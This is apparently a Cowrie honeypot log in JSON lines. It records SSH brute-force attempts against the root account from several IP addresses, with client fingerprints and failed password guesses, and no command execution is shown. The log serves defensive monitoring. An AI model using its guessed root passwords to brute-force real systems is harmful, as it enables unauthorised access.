{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:52.035486Z","src_ip":"85.214.154.50","session":"b28980f0d2d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":44654,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f90c2f47d7","protocol":"ssh","message":"New connection: 103.153.68.219:44654 (10.17.0.5:22) [session: 59f90c2f47d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:58.718564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:58.722224Z","src_ip":"103.153.68.219","session":"59f90c2f47d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:58.965119Z","src_ip":"103.153.68.219","session":"59f90c2f47d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"uftn7s9x","message":"login attempt [root/uftn7s9x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:34:59.695806Z","src_ip":"103.153.68.219","session":"59f90c2f47d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:00.941588Z","src_ip":"103.153.68.219","session":"59f90c2f47d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":55644,"dst_ip":"10.17.0.5","dst_port":22,"session":"47146f487958","protocol":"ssh","message":"New connection: 147.45.211.215:55644 (10.17.0.5:22) [session: 47146f487958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:28.248175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:28.251772Z","src_ip":"147.45.211.215","session":"47146f487958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:28.429361Z","src_ip":"147.45.211.215","session":"47146f487958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia6630","message":"login attempt [root/nokia6630] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:28.960682Z","src_ip":"147.45.211.215","session":"47146f487958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:30.137790Z","src_ip":"147.45.211.215","session":"47146f487958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":44632,"dst_ip":"10.17.0.5","dst_port":22,"session":"108bb3995db5","protocol":"ssh","message":"New connection: 103.176.20.57:44632 (10.17.0.5:22) [session: 108bb3995db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:33.568905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:33.572663Z","src_ip":"103.176.20.57","session":"108bb3995db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:33.820910Z","src_ip":"103.176.20.57","session":"108bb3995db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100878","message":"login attempt [root/100878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:34.572053Z","src_ip":"103.176.20.57","session":"108bb3995db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:35.822881Z","src_ip":"103.176.20.57","session":"108bb3995db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47604,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac2bc1105e6","protocol":"ssh","message":"New connection: 103.77.242.62:47604 (10.17.0.5:22) [session: 6ac2bc1105e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:54.113824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:54.122734Z","src_ip":"103.77.242.62","session":"6ac2bc1105e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:54.358804Z","src_ip":"103.77.242.62","session":"6ac2bc1105e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"180481","message":"login attempt [root/180481] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:55.049556Z","src_ip":"103.77.242.62","session":"6ac2bc1105e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:35:56.281856Z","src_ip":"103.77.242.62","session":"6ac2bc1105e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":50762,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b8de639de52","protocol":"ssh","message":"New connection: 46.19.67.181:50762 (10.17.0.5:22) [session: 7b8de639de52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:13.180818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:13.184948Z","src_ip":"46.19.67.181","session":"7b8de639de52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:13.289376Z","src_ip":"46.19.67.181","session":"7b8de639de52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"university","message":"login attempt [root/university] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:13.604551Z","src_ip":"46.19.67.181","session":"7b8de639de52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:14.711323Z","src_ip":"46.19.67.181","session":"7b8de639de52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.93.192","src_port":57714,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e77e78f215e","protocol":"ssh","message":"New connection: 198.1.93.192:57714 (159.203.135.109:22) [session: 2e77e78f215e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:34.799207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:34.802189Z","src_ip":"198.1.93.192","session":"2e77e78f215e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:34.887571Z","src_ip":"198.1.93.192","session":"2e77e78f215e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nakamoto456","message":"login attempt [root/nakamoto456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:35.134166Z","src_ip":"198.1.93.192","session":"2e77e78f215e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":42198,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4a35ce1d2fc","protocol":"ssh","message":"New connection: 103.27.238.116:42198 (159.203.135.109:22) [session: c4a35ce1d2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:50.524182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:50.528489Z","src_ip":"103.27.238.116","session":"c4a35ce1d2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:50.789477Z","src_ip":"103.27.238.116","session":"c4a35ce1d2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a147258369","message":"login attempt [root/a147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:51.575550Z","src_ip":"103.27.238.116","session":"c4a35ce1d2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":35892,"dst_ip":"159.203.135.109","dst_port":23,"session":"50b229232cf3","protocol":"telnet","message":"New connection: 137.184.5.188:35892 (159.203.135.109:23) [session: 50b229232cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:52.622426Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:52.838811Z","src_ip":"103.27.238.116","session":"c4a35ce1d2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.4","message":"Connection lost after 19.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:36:54.174206Z","src_ip":"198.1.93.192","session":"2e77e78f215e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":42272,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa9cf3cdc360","protocol":"ssh","message":"New connection: 103.27.238.120:42272 (10.17.0.5:22) [session: aa9cf3cdc360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:02.146807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:02.153455Z","src_ip":"103.27.238.120","session":"aa9cf3cdc360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:02.430300Z","src_ip":"103.27.238.120","session":"aa9cf3cdc360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050319","message":"login attempt [root/050319] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:03.258730Z","src_ip":"103.27.238.120","session":"aa9cf3cdc360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:04.537851Z","src_ip":"103.27.238.120","session":"aa9cf3cdc360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34394,"dst_ip":"159.203.135.109","dst_port":22,"session":"7527cc115736","protocol":"ssh","message":"New connection: 143.20.185.207:34394 (159.203.135.109:22) [session: 7527cc115736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:27.642075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:37:27.647139Z","src_ip":"143.20.185.207","session":"7527cc115736","protocol":"ssh"}
